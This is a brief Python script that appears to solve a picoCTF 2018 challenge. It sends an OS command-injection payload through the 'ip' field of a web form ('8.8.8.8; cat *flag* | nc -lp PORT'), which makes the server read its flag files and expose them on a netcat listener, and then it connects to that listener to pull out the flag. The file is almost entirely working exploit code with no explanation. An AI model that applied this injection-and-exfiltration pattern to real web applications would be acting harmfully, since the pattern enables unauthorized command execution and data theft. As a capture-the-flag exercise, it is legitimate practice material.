#!/usr/bin/python
from pwn import *
import requests
import threading
from time import sleep
import re

PORT = 54433

def exploit(whut, exploit):
	log.info('Sending exploit...')
	params = {
		'ip': exploit
	}

	r = requests.post('http://2018shell1.picoctf.com:31070/index.php', data=params)
	

threading.Thread(target=exploit, args=(None, '8.8.8.8; cat *flag* | nc -lp {}'.format(PORT))).start()
log.success('Exploit sent!')

log.info('Connecting to shell in 3 seconds...')
sleep(3)
r = remote('2018shell1.picoctf.com', PORT)
flag = r.recv()
r.close()

log.success('Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0])
